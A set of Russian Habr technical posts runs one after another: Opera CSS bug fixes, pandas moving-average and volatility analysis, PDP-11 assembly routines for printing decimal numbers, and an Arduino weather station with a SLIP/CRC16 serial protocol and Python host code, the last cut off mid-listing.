* Раньше Opera рассчитывала тень для блока и текста неправильно. Спецификация [говорит о том](http://www.w3.org/TR/css3-background/#box-shadow), что свойство `box-shadow` должно отрисовываться как [размытие по Гауссу](http://en.wikipedia.org/wiki/Gaussian_filter) со стандартным отклонением равным половине радиуса размытия. Теперь Opera рисует тень правильно как для блоков, так и для текста: [см. пример сравнения `box-shadow` с размытием по Гауссу в SVG](http://jsfiddle.net/pepelsbey/uDdd6/).
* Выделение текста было невозможно при `line-height:0` и `overflow:hidden`. Теперь это исправлено.
* Opera обычно игнорировала свойства, идущие за правилом с `!important` в конце, но без закрывающей точки с запятой. Эта особенность вызывала проблемы совместимости с многими сайтами, на которых встречались некорректные стилевые правила. Отличный, кстати, повод задуматься о валидности своего кода, кхм-кхм. [См. пример того, как некорректное использование `!important` влияет на оформление текста](http://jsfiddle.net/pepelsbey/yLPcy/).
* Работая над улучшением производительности, мы обнаружили и исправили баг с двойным кликом, который приводил залипанию элемента в состоянии `:active`. [См. пример ситуации, приводившей к залипанию](http://jsfiddle.net/pepelsbey/ZcpzB/).
* [Теги](http://jsfiddle.net/pepelsbey/tdCqR/) | https://habr.com/ru/post/138130/ | null | ru | null |
# Общий финансовый анализ на Python (Часть 2)
Ну что [продолжим](https://habr.com/ru/post/492364/)?
#### Скользящее окно (Moving Windows)
В заголовке я привел дословный перевод. Если кто меня поправит, и другой термин более применим — то спасибо.
Смысл скользящего окна– с каждым новым значением функция пересчитывается за заданный период времени. Этих функций большое [количество](https://pandas.pydata.org/pandas-docs/stable/reference/window.html). Для примера: rolling.mean(), rolling.std(), которые чаще всего и используют при анализе движения акций. rolling.mean() — это обычная скользящая средняя, которая сглаживает краткосрочные колебания и позволяет визуализировать общую тенденцию.
```
# Выделяю скорректированную цену закрытия
adj_close_px = sber['Adj Close']
# Вычисляю скользящую среднию
moving_avg = adj_close_px.rolling(window=40).mean()
# Вывожу результат
print(moving_avg[-10:])
```
График, который позволит понять то, что получается в результате работы данной функции:
```
# Вычисление короткой скользящей средней
sber['40'] = adj_close_px.rolling(window=40).mean()
# Вычисление длинной скользящей средней
sber['252'] = adj_close_px.rolling(window=252).mean()
# Построение полученных значений
sber[['Adj Close', '40', '252']].plot(figsize=(20,20))
plt.show()
```
Как видно rolling.mean() справляется с поставленной задачей. Функция сглаживает краткосрочные колебания и позволяет увидеть долгосрочный тренд на основании которого можно принять решение: цена выше рассматриваемой скользящей средней — берем акцию, ниже — продаем акцию — если просто и я бы не советовал следовать этому методу. Как правило помимо скользящих средних используются и другие индикаторы, которые могут подтвердить правильность принимаемого решения. Каждый должен самостоятельно принять решение в зависимости от стиля торговли.
#### Волатильность
Волатильность акций — это изменение дисперсии доходности акций в течение определенного периода времени. Обычно сравнивают волатильность одной акции с другой, чтобы получить представление о том, какая может иметь больший риск, или с рыночным индексом, чтобы понять волатильность акций относительно рынка. Как правило, чем выше волатильность, тем рискованнее инвестиции в эту акцию. Необходимо отметить, что она не является постоянной и изменяется с течением времени. Это можно увидеть опять же при помощи функции rolling.std(), входящей в пакет pandas. Пример расчета изменения волатильности:
```
# Определяю рассматриваемый период
min_periods = 60
# Вычисляю волатильность
vol = daily_pct_change.rolling(min_periods).std() * np.sqrt(min_periods)
# Строю график
vol.plot(figsize=(10, 10))
plt.show()
```
Прошу обратить внимание, что в отличие от прошлой недели у меня появилось еще два значения — индекс московской биржи (IMOEX.ME) и РБК (RBCM.ME). Их значения мне потребуются в следующей публикации про метод наименьших квадратов. А на сегодня все. | https://habr.com/ru/post/494636/ | null | ru | null |
# Самая короткая программа вывода десятичного числа
В 1984-ом году вышла культовая книга Стивена Леви “[Хакеры: герои компьютерной революции](https://en.wikipedia.org/wiki/Hackers:_Heroes_of_the_Computer_Revolution)”. Существует любительский русский перевод, но он далёк от идеала. Я было взялся исправлять неточности в нём, положив рядом английский оригинал (кстати, и он не без греха), да забросил после второй главы. Так или иначе, хочу обратить ваше внимание на фрагмент (можно прочитать его в виде [отдельной статьи](http://demoscene.ru/info/article.php3?03411)), посвящённый подпрограмме печати числа в десятичной системе. Насколько можно уменьшить такую программу? Каков предел?
В августе 2018-го года я писал программу для измерения точного времени исполнения команд советского процессора 1801ВМ1 (он обладает [набором инструкций PDP-11](https://en.wikipedia.org/wiki/PDP-11_architecture)). Знание точного времени (в тактах процессора) было необходимо при работе над демо “[Good Apple](https://www.pouet.net/prod.php?which=78066)” для компьютера БК 0011М. Результаты измерений я хотел видеть в десятичной системе счисления. Для этого пришлось написать свою подпрограмму – системные функции были недоступны в силу специфики теста.
Первое, что я сделал – составил массив TEN со степенями числа 10. Процедура принимает число в регистре R0, на выходе текстовая строка по адресу NUMBER. Важно: в процессоре **нет** инструкции деления!
```
MOV #NUMBER,R1 ; pointer to output text string
MOV #TEN,R5
1: CMP (R5)+,R0 ; skip leading zeros
BHI 1 ; branch if higher, for 16-bit not signed
MOV -(R5),R3
BEQ 4 ; if less then 10
2: MOV #47.,R4 ; 0 symbol in ASCII codepage - 1
3: INC R4 ; count digits
SUB R3,R0
BHIS 3 ; branch if higher or same, for 16-bit not signed
MOVB R4,(R1)+ ; print R4
ADD (R5)+,R0
MOV (R5),R3
BNE 2
4: ADD #48.,R0 ; 0 symbol in ASCII codepage
MOVB R0,(R1)+ ; print R0
CLRB (R1) ; end of text marker
RET
TEN: .WORD 10000.,1000.,100.,10.,0
```
Чтобы понимать ассемблер PDP-11, достаточно помнить, что аргументы записывают слева направо (сначала источник, затем приёмник), а команды условных переходов начинаются с буквы B (от слова branch – ветвление). Описывать алгоритм не стану, он ничем не интересен и приведён здесь лишь в качестве отправной точки. Размер этой подпрограммы – **22 слова** (не считая данных).
После того, как всё заработало, я вдруг вспомнил историю из книги Стивена Леви: хакеры бились над уменьшением размера аналогичной программы, причём тоже на архитектуре PDP. Правда, у них была PDP-1, но через несколько лет они заполучили и PDP-11.
Открыв книгу, я обнаружил крайне туманное описание. Начинали хакеры из [MIT](https://en.wikipedia.org/wiki/MIT_Computer_Science_and_Artificial_Intelligence_Laboratory) так же, как и я — со списка десятичных разрядов. Но что произошло дальше, из текста непонятно. Очевидно, это не было понятно и автору книги, он просто записал общие слова из уст очевидцев того хакерского состязания.
Пришлось покопаться в Интернет-архиве [программ для PDP-1](http://bitsavers.org/bits/DEC/pdp1/). Там много интересного: Minskytron, Munching squares и другие так называемые “дисплейные хаки” (кстати, примечательно, что уже тогда – в начале 60-ых – хакеры из MIT использовали термин “[демо](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BC%D0%BA%D0%B0)” в том же смысле, в котором мы используем его сейчас на демосцене). В архиве много системных подпрограмм, но вывода десятичного числа среди них, увы, нет.
Тогда, вооружившись отладчиком, я решил посмотреть, как реализована эта процедура в операционной системе MKDOS, которой я пользуюсь на БК 0010 и БК 0011М. О, чудо! – присмотревшись, я понял, что подпрограмма очень хорошо подходит под туманное описание из книги “Хакеры”. Вот её код:
```
MOV #10.,R4
CLR R2
1: CLR R1
2: SUB R4,R0 ; вычитаем из числа 10, пока ничего не останется
BLO 3
INC R1 ; счётчик - сколько вычитаний сделали
BR 2
3: ADD R4,R0
ADD #48.,R0 ; ASCII-код числа 0
INC R2 ; счётчик - сколько символов сохранили
MOVB R0,-(SP)
MOV R1,R0 ; теперь число вычитаний - наш новый аргумент
BNE 1
INC R2
MOVB #32.,-(SP) ; ASCII-код пробела
4: MOVB (SP)+,R0
CALL PRINT
SOB R2,4 ; цикл по числу сохранённых символов
RET
```
Программа формирует текстовую строку в стеке, затем вызывает процедуру печати каждого сохранённого символа. Судя по всему, именно это имелось в виду в книге Стивена Леви под фразой «конвертирует обратным образом, а при помощи хитрого программного фокуса печатает в нужном порядке». Остальные особенности алгоритма должны быть понятны по комментариям к коду.
Размер подпрограммы – **23 слова**, но сравнивать её с моей подпрограммой напрямую нельзя: слишком разные условия. Я решил переделать программу из MKDOS под свои условия: формирование текстовой строки в памяти.
В конечном итоге я понял, что лучше оставить только идею вычитания числа 10, а всё остальное написать с нуля. После нескольких кругов ~~Сансары~~ оптимизации у меня получилось следующее:
```
MOV #NUMBER,R1 ; pointer to output text string
CLRB -(R1) ; end of text marker
MOV #10.,R4
1: MOV #-1.,R5
2: INC R5 ; counter of 10s
SUB R4,R0
BHIS 2 ; branch if higher or same
ADD #58.,R0 ; #10. + '0' ASCII code
MOVB R0,-(R1) ; store R0 to text string
MOV R5,R0 ; let's count next how many 10s in number of 10s
BNE 1
RET ; returns text string pointer in R1
```
**16 слов**, предел достигнут (думал я), вот она – Нирвана, о которой так эмоционально писал Стивен Леви!
Какие трюки здесь применены:
1. Первая команда устанавливает указатель не в начало, а в конец текстовой строки. Текст заполняется справа налево – это удобно ещё и тем, что на выходе мы получаем адрес начала строки, готовый к передаче в процедуру печати текста.
2. Счётчик вычитаний начинается не с нуля, а с минус единицы. Первая команда внутри цикла (INC R5) увеличивает счётчик на 1. Всё равно получается 0, так почему бы сразу не очищать счётчик, зачем всё это?.. Дело в том, что при первом же вычитании 10 можно получить отрицательный результат – тогда нужно выйти из цикла, при этом счётчик должен равняться нулю. Значит, увеличение счётчика придётся делать уже после проверки. А следом нужна команда перехода в начало цикла. Итого – на одну команду больше. С точки зрения размера разницы нет: мы потеряем 1 слово, добавив команду перехода, но сэкономим 1 слово на записи минус единицы (очистка регистра короче). И всё же, имеет смысл уменьшить количество команд внутри цикла, так он будет исполняться быстрей. Да и программа в целом визуально сократится. Поэтому я пришёл к решению с -1.
3. Вычитая число 10, мы могли бы не дожидаться отрицательного результата, а выходить из цикла раньше, когда аргумент станет меньше десяти. Но сравнение с числом – отдельная операция (и дополнительное время). В противовес этому, сравнение с нулём производится процессором автоматически после любой арифметической операции – можно сразу совершать условный переход. Однако, потом всё же придётся прибавить десятку, несправедливо отнятую у входного аргумента. Оба варианта (сравнивать с числом 10 в цикле или прибавлять 10 в конце) одинаковы по размеру. Но вот что я заметил: поскольку потом всё равно нужно прибавить к аргументу ASCII-код символа 0, можно сразу прибавлять и десятку! Этот трюк, пожалуй, стал самым большим откровением для меня. Инструкция ADD #58.,R0 делает именно это (48+10).
Я был настолько доволен программой, что решил поделиться ей на форуме [zx-pk.ru](https://zx-pk.ru/threads/11381-napisanie-programm-dlya-bk0010.html?p=1015403&viewfull=1#post1015403) (ничего не подозревая о местных традициях критиковать без аргументов). Реакция сообщества была примерно такой: “надо было просто посмотреть, как сделали в DEC, это же классика”.
Что ж, вот программа от [DEC](https://ru.wikipedia.org/wiki/Digital_Equipment_Corporation) – компании, создавшей PDP-11 и вобравшей в свои ряды некоторых хакеров из MIT:
```
; RETURNS:
; R0 = 0
; R1 -> byte following last digit in converted number
CVBTOD: MOV R0,-(SP) ;SAVE THE NUMBER PASSED TO US
CLR R0 ;SET FOR CRUDE DIVIDE BY 10.
10$: INC R0 ;BUMP QUOTIENT
SUB #10.,(SP) ;REDUCE NUMBER BY 10.
BHIS 10$ ;IF SIGN DIDN'T CHANGE...
ADD #10.+48.,(SP) ;MAKE REMAINDER PRINTABLE
DEC R0 ;REDUCE QUOTIENT
BEQ 20$ ;IF ZERO, TIME TO PRINT
CALL CVBTOD ;OTHERWISE, RECURSE !
20$: MOVB (SP)+,(R1)+ ;STORE A CONVERTED DIGIT
RETURN ;UNWIND THE RECURSION
```
**14 слов**, круто! Или… нет? Мне засчитали поражение, но давайте посмотрим внимательней:
1. Прибавление ASCII-кода символа 0 и числа 10 сделано одной операцией. Оказывается, такой трюк применяли ещё в 70-ых. Классно.
2. Программа вызывает сама себя рекурсивно – красивое решение!
3. Вычисления проводятся в стеке – это медленней, зато экономится один регистр. Хорошо это или плохо – зависит от контекста применения процедуры.
4. После выхода R1 указывает на конец строки. Это неудобно, так как перед печатью придётся заново указывать адрес строки, а это лишняя команда.
5. Ой, подождите! А где исходный адрес строки?.. Оказывается, он задаётся за пределами подпрограммы. Таким образом, критики с zx-pk.ru не досчитались команды MOV #NUMBER,R1 из двух слов!
Итого, реальный размер – **16 слов**. Ровно как у моей. Обе программы состоят из 12 инструкций. Так какая лучше?
Даже если заменить обращения к стеку на обращения к регистру, программа DEC окажется медленней из-за инструкций DEC R0 и CALL внутри цикла.
Но это ещё не всё. Начав писать эту статью, я заметил, что в моей программе осталась рудиментарная (от MKDOS) инструкция MOV #10.,R4 – она не несёт никакого смысла, кроме ускорения внутреннего цикла. Пора избавиться от неё.
```
MOV #NUMBER,R1 ; pointer to output text string
CLRB -(R1) ; end of text marker
1: MOV #-1.,R5
2: INC R5 ; counter of 10s
SUB #10.,R0
BHIS 2 ; branch if higher or same
ADD #58.,R0 ; #10. + '0' ASCII code
MOVB R0,-(R1) ; store R0 to text string
MOV R5,R0 ; let's count next how many 10s in number of 10s
BNE 1 ; loop if R0 is not zero
RET ; returns text string pointer in R1
```
**15 слов**. 11 инструкций. Вот теперь, похоже, всё.
Что ж, у меня идеи по оптимизации закончились. Это был вдохновляющий, даже азартный, челлендж. Замечательно, что идея, предложенная студентом-хакером в начале 60-ых для PDP-1, использовалась компанией DEC десять и даже двадцать лет спустя, а на советском компьютере БК 0011М она применялась до начала 2000-ых годов. Удивительно, что в 2018-ом году оказалось возможным частично переизобрести и оптимизировать алгоритм. Характерно, что многие считали это невозможным.
Итак, перед вами Святой Грааль (по выражению Стивена Леви), найти который пытались хакеры 60-ых — самая короткая программа вывода десятичного числа для PDP. Или… можно ещё короче?
**Update**: я знал, что этот день наступит, но не думал, что так скоро :) Оказалось, программу можно сократить ещё на одно слово! Идею предложил в комментариях [Mr\_Rm](https://habr.com/ru/users/Mr_Rm/):
```
MOV #NUMBER,R1 ; pointer to output text string
CLRB -(R1) ; end of text marker
1: CLR R5
2: INC R5 ; counter of 10s +1
SUB #10.,R0
BHIS 2 ; branch if higher or same
ADD #58.,R0 ; #10. + '0' ASCII code
MOVB R0,-(R1) ; store R0 to text string
MOV R5,R0 ; let's count how many 10s in number of 10s
SOB R0,1 ; subtract 1 and loop if not zero
RET ; returns text string pointer in R1
```
**14 слов**. 11 инструкций.
Фокус вот в чём. Помните, я писал, что при “неправильной” организации цикла R5 получается на единицу больше нужного? Ну и пусть! Мы уменьшим его в самом конце программы. В прошлом варианте R5 копировался в R0, после чего команда BNE (Branch if Not Equal to zero) проверяла R0, и если он не равен нулю, переходила в начало цикла. Вот бы нам сперва уменьшить R0 на единицу, а потом уже (если получили не ноль) переходить в начало… Минуточку, да ведь это обычная команда цикла SOB (Subtract One and Branch). Правда, здесь она использована не каноническим образом: отрабатывает один раз, а дальше счётчик цикла перетирается. Это выглядит обескураживающе, но если разобраться в предыдущей версии подпрограммы, становится понятно как из неё получилась новая, укороченная на одно слово.
Полезные ссылки:
* [Журнал Downgrade](http://dgmag.in) на русском языке, выпуски 28 и 29 – статьи об ассемблерных трюках на БК/PDP.
* [Программирование под БК 0010 в 2019-ом году](https://habr.com/ru/post/469117/) – обзор современных инструментов разработки.
* [Демки для БК 0010 и БК 0011М](https://www.pouet.net/prodlist.php?platform%5B0%5D=BK-0010/11M&order=views) на портале pouet.net
* [Хакерские корни демосцены](https://youtu.be/ozfYW1EKuuI) – запись семинара на Chaos Constructions 2016, разбор «дисплейных хаков» 60-ых.
* [Hackers: Wizards of the Electronic Age](https://youtu.be/zOP1LNr70aU) – документальный фильм 1984-го года по мотивам книги Стивена Леви. | https://habr.com/ru/post/496914/ | null | ru | null |
# Система сбора измерений на примере метеостанции
Казалось бы, каждый, кто осваивает ардуино, первым делом конструирует или повторяет прибор для измерения температуры и(или) прочих параметров окружающей среды. Только большинство подобных конструкций, к сожалению, мало применимы в домашнем хозяйстве — в качестве тренировки сгодится, а пользы нет. Попробуем исправить эту недоработку. В статье расскажу о создании комплекса для измерения и хранения любых данных на примере сбора показаний датчиков температуры, влажности воздуха и атмосферного давления. Начну с требований к прибору и описания протокола обмена, закончу web-службой для получения данных из БД. Подробных выкладок и пошаговых руководств не будет, но будет немного теории и много кода.
История эта началась в один из дней, когда провод выносного датчика домашней метеостанции был покусан одним из домашних питомцев. Провод я починил, но после того случая прибор стал периодически показывать неправду. Налицо недостаток аналогового измерения, когда небольшого воздействия достаточно для того, чтобы полностью исказить данные. Этот случай и подтолкнул меня сделать собственный подобный комплекс.
После обдумывания проблемы получилось следующее ТЗ:
1. Датчики должны быть цифровыми, с приемлемой точностью. Температурные — DS1820, влажности — DHT22, давления воздуха — BMP085. Выбор датчиков был обусловлен их наличием “в закромах”. Кстати, функция измерения температуры есть во всех этих трех типах, но использовать будем именно DS1820, поскольку, их можно включать параллельно.
2. Датчики эти должны подключаться «на лету», т.е. не требовать при этом вмешательства оператора.
3. Контроллер, к которому должны подключаться датчики, должен быть доступным. Мой выбор пал на Arduino, ибо стоит недорого и имеет минимальный уровень вхождения.
4. Контроллер должен подключаться к компьютеру посредством последовательного порта. Будем использовать USB2Serial адаптер, как распространенное и недорогое решение.
5. Так как контроллер может располагаться на некотором удалении от компьютера, и контроллеров на одном порту может быть несколько, в протоколе обмена должны быть предусмотрены защита от искажения данных и возможность адресации приборов.
6. Комплекс должен хранить в базе данных историю всех измерений. Мой выбор — SQLite.
7. Все программы для работы с контроллером должны быть переносимыми, т.е. одинаково работать на разных платформах без серьезных доработок. Мой выбор — Python 2.7.
Описание протокола обмена между компьютером и контроллером
----------------------------------------------------------
Так как обмен данными с контроллером будет асинхронным, с пакетами заранее неизвестной длины, за основу канального протокола был взят [SLIP](https://ru.wikipedia.org/wiki/SLIP). Это протокол, в котором передача данных осуществляется при помощи SLIP-кадров. Границами SLIP-кадра является флаг END (0xC0). Если внутри кадра встречается байт 0xC0, он заменяется ESC-последовательностью 0xDB, 0xDC, а если встречается байт ESC (0xDB), он заменяется последовательностью (0xDB, 0xDD). Обратное преобразование симметричное.
В SLIP-кадры будем оборачивать сообщения с заранее рассчитанной контрольной суммой.
Для расчета контрольной суммы был применен алгоритм CRC16 с полиномом 0xA001 (modbus):
1. В 16-битовый регистр(CRC) загружается 0xFFFF.
2. Первый байт сообщения складывается по ИСКЛЮЧАЮЩЕМУ ИЛИ с содержимым регистра CRC. Результат помещается в регистр CRC.
3. Регистр CRC сдвигается вправо на 1 бит, старший бит заполняется 0.
4. (Если младший бит 1): Содержимое CRC складывается по ИСКЛЮЧАЮЩЕМУ ИЛИ с полиномиальным числом 0xA001.
5. Шаги 3 и 4 повторяются восемь раз.
6. Шаги 2 — 5 повторяются для всех последующих байтов посылки.
7. Финальное содержание регистра CRC и есть контрольная сумма.
CRC добавляется в конец сообщения в формате сначала младший байт, потом старший байт.
Прикладной протокол обмена
--------------------------
### Формат запроса к прибору
адрес\_прибора(1 байт) класс(1 байт) [метод(1 байт)] [данные(N байт)]### Формат ответа прибора:
адрес\_прибора(1 байт) данные(N байт)
### класс 0 (PING)
возвращает 0x55 0xAA 0x55 0xAA
### класс 1 (INFO)
#### методы
**0** — запрос количества датчиков температуры
возвращает: (unsigned char)количество
**1** — запрос показаний и серийных номеров с датчиков темературы
возвращает: ((float)температура (8 bytes)sernum)\*количество датчиков
**2** — запрос показания с датчика давления
возвращает: (int32\_t)давление (char)sernum
**3** — запрос показания с датчика влажности
возвращает: (float)влажность (byte)sernum
*Классов всего два, но читатель, если пожелает, сможет по образу и подобию расширить протокол требуемыми параметрами.*
### Пример
#### Запрос
Адрес прибора — 00
Класс — 00 (PING)
Контрольная сумма — 01 B0
Итоговая посылка — C0 00 00 B0 01 C0
#### Ответ
Ответ прибора — C0 00 55 AA 55 AA C3 AA C0
Адрес прибора — 00
Контрольная сумма — AA C3
Сообщение — 55 AA 55 AA (ответ на PING)
### Схема прибора
### Фото макетки
Тут фото промежуточного варианта с поддержкой экрана от Нокии (код есть в репозитории по ссылке в конце статьи).
### Фото готового изделия
Исходный код:
-------------
**Скетч для ардуино**
```
#include
#include
#include
#include
#define ONE\_WIRE\_BUS 10
#define TEMPERATURE\_PRECISION 9
#define DHTPIN 2
#define DHTTYPE DHT22
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature sensors(&oneWire);
Adafruit\_BMP085 bmp;
const unsigned char MAXNUMBERS = 10;
DeviceAddress addresses[MAXNUMBERS];
unsigned char numbers;
DHT dht(DHTPIN, DHTTYPE);
char readbuf[50];
char writebuf[130];
char tmpbuf[50];
int msglen = 0;
const int bufLength = 8;
const char SLIP\_END = '\xC0';
const char SLIP\_ESC = '\xDB';
const char SLIP\_ESC\_END = '\xDC';
const char SLIP\_ESC\_ESC = '\xDD';
const char CS\_PING = '\x00';
const char CS\_INFO = '\x01';
const char LOC\_ADR = '\x00';
int transferData(char \*buf, unsigned char cnt)
{
Serial.print(SLIP\_END);
for (int i = 0; i < cnt; i++)
{
switch (buf[i])
{
case SLIP\_END:
Serial.print(SLIP\_ESC);
Serial.print(SLIP\_ESC\_END);
break;
case SLIP\_ESC:
Serial.print(SLIP\_ESC);
Serial.print(SLIP\_ESC\_ESC);
break;
default:
Serial.print(buf[i]);
break;
}
}
Serial.print(SLIP\_END);
}
unsigned short getCRC(char \*buf, unsigned char cnt)
{
unsigned short temp, temp2, flag;
temp = 0xFFFF;
for (int i = 0; i < cnt; i++)
{
temp ^= (unsigned char) buf[i];
for (int j = 1; j <= 8; j++)
{
flag = temp & 0x0001;
temp >>= 1;
if (flag)
temp ^= 0xA001;
}
}
temp2 = temp >> 8;
temp = (temp << 8) | temp2;
temp &= 0xFFFF;
return temp;
}
int addCRC(char \*buf, unsigned char cnt)
{
unsigned short crc = getCRC(buf, cnt);
memcpy(&buf[cnt], &crc, 2);
return cnt + 2;
}
void setup()
{
Serial.begin(9600);
bmp.begin();
sensors.begin();
dht.begin();
}
void loop()
{
float humidity = dht.readHumidity();
int32\_t pressure = (int32\_t)(bmp.readPressure() / 133.3224);
numbers = 0;
for (int i = 0; i < MAXNUMBERS; i++)
{
if (!sensors.getAddress(addresses[i], i))
break;
numbers++;
}
for (unsigned char i = 0; i < numbers; i++)
{
sensors.setResolution(addresses[i], TEMPERATURE\_PRECISION);
}
sensors.requestTemperatures();
if (msglen)
{
unsigned short msgcrc;
memcpy(&msgcrc, &readbuf[msglen-2], 2);
unsigned short crc = getCRC(readbuf, msglen-2);
if (crc == msgcrc)
{
char adr = readbuf[0];
char cs = readbuf[1];
char mtd = readbuf[2];
int len;
unsigned char n;
float temp;
if (adr == LOC\_ADR)
{
switch (cs)
{
case CS\_PING:
writebuf[0] = LOC\_ADR;
writebuf[1] = '\x55';
writebuf[2] = '\xAA';
writebuf[3] = '\x55';
writebuf[4] = '\xAA';
len = addCRC(writebuf, 5);
delay(100);
transferData(writebuf, len);
break;
case CS\_INFO:
switch (mtd)
{
case 0:
writebuf[0] = LOC\_ADR;
writebuf[1] = numbers;
len = addCRC(writebuf, 2);
delay(100);
transferData(writebuf, len);
break;
case 1:
writebuf[0] = LOC\_ADR;
writebuf[1] = numbers;
for (int i=0; i < numbers; i++)
{
temp = sensors.getTempC(addresses[i]);
memcpy(&writebuf[i\*12+2], &temp, 4);
memcpy(&writebuf[i\*12+6], &addresses[i], 8);
}
len = addCRC(writebuf, numbers\*12+2);
delay(100);
transferData(writebuf, len);
break;
case 2:
writebuf[0] = LOC\_ADR;
memcpy(&writebuf[1], &pressure, 4);
writebuf[5] = 0;
len = addCRC(writebuf, 6);
delay(100);
transferData(writebuf, len);
break;
case 3:
writebuf[0] = LOC\_ADR;
memcpy(&writebuf[1], &humidity, 4);
writebuf[5] = 0;
len = addCRC(writebuf, 6);
delay(100);
transferData(writebuf, len);
break;
}
break;
}
}
}
msglen = 0;
}
}
void serialEvent()
{
msglen = readCommand(readbuf);
}
int readCommand(char \*buf)
{
int i = 0;
bool escaped = false;
char c = (char) Serial.read();
if (c == SLIP\_END)
{
bool beginflag = true;
while (beginflag)
{
char c1 = (char) Serial.read();
switch (c1)
{
case SLIP\_END:
return i;
break;
case SLIP\_ESC:
escaped = true;
break;
case SLIP\_ESC\_END:
if (escaped)
{
buf[i] = SLIP\_END;
escaped = false;
}
else
buf[i] = c1;
i++;
break;
case SLIP\_ESC\_ESC:
if (escaped)
{
buf[i] = SLIP\_ESC;
escaped = false;
}
else
buf[i] = c1;
i++;
break;
default:
if (escaped)
{
return 0;
}
else
buf[i] = c1;
i++;
break;
}
}
}
return i;
}
```
**Класс slip.py**
```
class SlipConv:
def __init__(self):
self.started = False
self.escaped = False
self.packet = ''
self.SLIP_END = '\xc0'
self.SLIP_ESC = '\xdb'
self.SLIP_ESC_END = '\xdc'
self.SLIP_ESC_ESC = '\xdd'
self.serialComm = None
def __getcrc(self, buf):
temp = 0xffff
for c in buf:
i = ord(c)
temp ^= i
j = 1
while j <= 8:
flag = temp & 0x0001
temp >>= 1
if flag > 0:
temp ^= 0xa001
j += 1
temp2 = temp >> 8
temp = (temp << 8) | temp2
temp &= 0xffff
return temp
def addcrc(self, packet):
crc = self.__getcrc(packet)
return packet + chr(crc & 0xff) + chr(crc >> 8)
def checkcrc(self, packet):
tmpcrc = self.__getcrc(self.getmsgpart(packet))
msgcrc = self.getcrcpart(packet)
return (chr(tmpcrc & 0xff) + chr(tmpcrc >> 8)) == msgcrc
def getcrcpart(self, packet):
return packet[len(packet)-2:len(packet)]
def getmsgpart(self, packet):
return packet[0:len(packet)-2]
def unslip(self, stream):
packetlist = ''
for char in stream:
if char == self.SLIP_END:
if self.started:
packetlist += self.packet
else:
self.started = True
self.packet = ''
elif char == self.SLIP_ESC:
self.escaped = True
elif char == self.SLIP_ESC_END:
if self.escaped:
self.packet += self.SLIP_END
self.escaped = False
else:
self.packet += char
elif char == self.SLIP_ESC_ESC:
if self.escaped:
self.packet += self.SLIP_ESC
self.escaped = False
else:
self.packet += char
else:
if self.escaped:
self.packet = ''
self.escaped = False
return ''
else:
self.packet += char
self.started = True
self.started = False
return packetlist
def slip(self, packet):
encoded = self.SLIP_END
for char in packet:
if char == self.SLIP_END:
encoded += self.SLIP_ESC + self.SLIP_ESC_END
elif char == self.SLIP_ESC:
encoded += self.SLIP_ESC + self.SLIP_ESC_ESC
else:
encoded += char
encoded += self.SLIP_END
return encoded
```
**Класс protocol.py**
```
# - *- coding: utf- 8 - *-
import sys
import serial
import time
import math
from slip import SlipConv
import struct
class Protocol:
def __init__(self, port, baudrate, logon):
self.log = logon
self.slipC = SlipConv()
self.SLIP_END = '\xc0'
self.ser = serial.Serial()
self.ser.port = port
self.ser.baudrate = baudrate
self.ser.timeout = 5
try:
self.ser.open()
except serial.SerialException as e:
print ('Oops! IO Error. Check ' + port + ' at ' + str(baudrate) + '.')
sys.exit(1)
if self.log:
print ('Opened ' + port + ' at ' + str(baudrate) + '.')
time.sleep(2)
def printPacket(self, packet):
print ' '.join("%X" % ord(c) if ord(c) > 0x0f else '0' + "%X" % ord(c) for c in packet)
def sendCommand(self, packet):
crcPack = self.slipC.addcrc(packet)
out = self.slipC.slip(crcPack)
self.ser.write(out)
if self.log:
print ('Sent ' + str(len(out)) + ' bytes: '),
self.printPacket(out)
def receiveAnswer(self):
packet = ''
char = ''
firsttime = time.time()
while (time.time() - firsttime) < self.ser.timeout:
char = self.ser.read(1)
if char == self.SLIP_END:
break
if char != self.SLIP_END:
print 'Timeout error!!! Check the connections'
sys.exit(1)
packet += char
beginflag = True
while beginflag:
c = self.ser.read(1)
packet += c
if c == self.SLIP_END:
beginflag = False
if self.log:
print ('Received ' + str(len(packet)) + ' bytes: '),
self.printPacket(packet)
unsliped = self.slipC.unslip(packet)
if self.slipC.checkcrc(unsliped):
if self.log:
print ('CRC - OK')
return self.slipC.getmsgpart(unsliped)
else:
if self.log:
print ('BAD CRC,'),
print 'received ',
self.printPacket(packet)
return ''
def ping(self, adr):
if self.log:
print ('Ping adr=' + str(adr))
self.sendCommand(chr(adr) + chr(0))
if self.receiveAnswer() == ((chr(0) + chr(0x55) + chr(0xAA) + chr(0x55) + chr(0xAA))):
if self.log:
print ('Ping to adr=' + str(adr) + ' - OK')
return True
else:
return False
def getTemp(self, adr):
if self.log:
print ('Get a temperature from sensors.')
self.sendCommand(chr(adr) + chr(1) + chr(1))
res = self.receiveAnswer()
num = ord(res[1])
values = []
for i in range(0, num):
temp, = struct.unpack('
```
#### Немного о хост-компьютере
В качестве хоста может использоваться абсолютно любой компьютер с установленными Python 2.7 и SQLite. Для работы потребуется установить библиотеку [pyserial](https://pypi.python.org/pypi/pyserial).
Выбор упал на достаточно пожилой уже роутер Asus WL-500gp.
Установил на него [OpenWrt](https://openwrt.org), смонтировал USB-flash, установил Python, SQLite и библиотеки.
#### Для проверки работоспособности прибора можно использовать тестовый скрипт
**Скрипт tst.py**
```
#!/usr/bin/python
import math
from protocol import Protocol
deviceAddress = 0
serialPort = '/dev/ttyUSB0'
baudRate = 9600
logEnabled = True
device = Protocol(serialPort, baudRate, logEnabled)
if device.ping(deviceAddress):
pressure, sernumP = device.getPressure(deviceAddress)
if 10 < pressure < 1000:
print ('Pressure - ' + str(pressure) + ' mmHg')
humidity, sernumH = device.getHumidity(deviceAddress)
if not math.isnan(humidity):
print ('Humidity - ' + str(humidity) + '%')
values = device.getTemp(deviceAddress)
i = 1
for (temperature, sn) in values:
print ('T' + str(i) + ' - ' + "%.1f" % temperature + ' C, sensor'),
device.printPacket(sn)
i += 1
device.close()
```
Если все работает нормально, вывод будет примерно таким:
```
Opened /dev/ttyUSB0 at 9600.
Ping adr=0
Sent 6 bytes: C0 00 00 B0 01 C0
Received 9 bytes: C0 00 55 AA 55 AA C3 AA C0
CRC - OK
Ping to adr=0 - OK
Get the atmospheric pressure.
Sent 7 bytes: C0 00 01 02 91 F1 C0
Received 10 bytes: C0 00 EB 02 00 00 00 B4 25 C0
CRC - OK
747 mmHg on the sensor with the serial number 00
Pressure - 747 mmHg
Get a humidity.
Sent 7 bytes: C0 00 01 03 51 30 C0
